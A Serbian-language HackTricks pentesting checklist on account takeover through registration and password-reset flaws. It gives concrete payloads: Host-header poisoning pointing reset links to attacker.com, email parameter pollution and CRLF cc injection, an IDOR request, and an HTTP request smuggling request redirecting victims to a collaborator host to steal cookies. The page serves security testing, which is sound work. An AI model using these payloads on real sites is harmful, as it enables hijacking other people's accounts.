Registracija i Preuzimanje Ranljivosti
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Preuzimanje Registracije
Dupla Registracija
- Pokušajte da generišete koristeći postojeće korisničko ime
- Proverite varijacije email-a:
- velika slova
- +1@
- dodajte tačku u email
- specijalni karakteri u imenu email-a (%00, %09, %20)
- Stavite crne karaktere posle email-a:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Enumeracija Korisničkog Imena
Proverite da li možete da saznate kada je korisničko ime već registrovano unutar aplikacije.
Politika Lozinki
Kreirajte korisnika i proverite politiku lozinki (proverite da li možete koristiti slabe lozinke).
U tom slučaju možete pokušati da bruteforce-ujete akreditive.
SQL Injekcija
Proverite ovu stranicu da biste saznali kako da pokušate preuzimanje naloga ili izvučete informacije putem SQL Injekcija u registracionim formama.
Oauth Preuzimanja
SAML Ranljivosti
Promena Email-a
Kada se registrujete, pokušajte da promenite email i proverite da li je ova promena ispravno validirana ili možete promeniti na proizvoljne email adrese.
Dodatne Provere
- Proverite da li možete koristiti disposable email-ove
- Duga lozinka (>200) dovodi do DoS
- Proverite ograničenja brzine na kreiranju naloga
- Koristite username@burp_collab.net i analizirajte callback
Preuzimanje Lozinke putem Resetovanja
Curjenje Tokena za Resetovanje Lozinke putem Referrera
- Zatražite resetovanje lozinke na vašu email adresu
- Kliknite na link za resetovanje lozinke
- Ne menjajte lozinku
- Kliknite na bilo koje 3rd party sajtove (npr: Facebook, Twitter)
- Presretnite zahtev u Burp Suite proxy
- Proverite da li referer header curi token za resetovanje lozinke.
Trovanje Resetovanja Lozinke
- Presretnite zahtev za resetovanje lozinke u Burp Suite
- Dodajte ili izmenite sledeće header-e u Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Prosledite zahtev sa izmenjenim header-om
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Potražite URL za resetovanje lozinke na osnovu host header-a kao što je :
https://attacker.com/reset-password.php?token=TOKEN
Resetovanje Lozinke putem Email Parametra
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR na API parametrima
- Napadač mora da se prijavi sa svojim nalogom i ode na funkciju Promena lozinke.
- Pokrenite Burp Suite i presretnite zahtev.
- Pošaljite ga na repeater tab i izmenite parametre: User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Slab token za resetovanje lozinke
Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven svaki put.
Pokušajte da odredite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generacije je slab i može se pogoditi. Sledeće varijable mogu biti korišćene od strane algoritma.
- Vreme
- UserID
- Email korisnika
- Ime i prezime
- Datum rođenja
- Kriptografija
- Samo brojevi
- Mala sekvenca tokena (karakteri između [A-Z,a-z,0-9])
- Ponovna upotreba tokena
- Datum isteka tokena
Curjenje tokena za resetovanje lozinke
- Pokrenite zahtev za resetovanje lozinke koristeći API/UI za specifičan email npr: test@mail.com
- Istražite odgovor servera i proverite za
resetToken
- Zatim koristite token u URL-u kao
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Resetovanje lozinke putem kolizije korisničkog imena
- Registrujte se na sistem sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa razmacima umetnutim pre i/ili posle korisničkog imena. npr:
"admin "
- Zatražite resetovanje lozinke sa svojim zlonamernim korisničkim imenom.
- Iskoristite token poslat na vaš email i resetujte lozinku žrtve.
- Prijavite se na nalog žrtve sa novom lozinkom.
Platforma CTFd je bila ranjiva na ovaj napad.
Pogledajte: CVE-2020-7245
Preuzimanje naloga putem Cross Site Scripting-a
- Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na roditeljski domen:
*.domain.com
- Curite trenutni sessions cookie
- Autentifikujte se kao korisnik koristeći kolačić
Preuzimanje naloga putem HTTP Request Smuggling-a
1. Koristite smuggler da otkrijete tip HTTP Request Smuggling-a (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Kreirajte zahtev koji će prepisati POST / HTTP/1.1
sa sledećim podacima:
GET http://something.burpcollaborator.net HTTP/1.1 X:
sa ciljem da otvorite preusmeravanje žrtava na burpcollab i ukradete njihove kolačiće
3. Finalni zahtev može izgledati ovako
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone izveštaji o eksploataciji ovog buga
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Preuzimanje naloga putem CSRF
- Kreirajte payload za CSRF, npr: “HTML forma sa automatskim slanjem za promenu lozinke”
- Pošaljite payload
Preuzimanje naloga putem JWT
JSON Web Token može se koristiti za autentifikaciju korisnika.
- Izmenite JWT sa drugim ID-jem korisnika / Email-om
- Proverite slabu JWT potpis
JWT Vulnerabilities (Json Web Tokens)
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.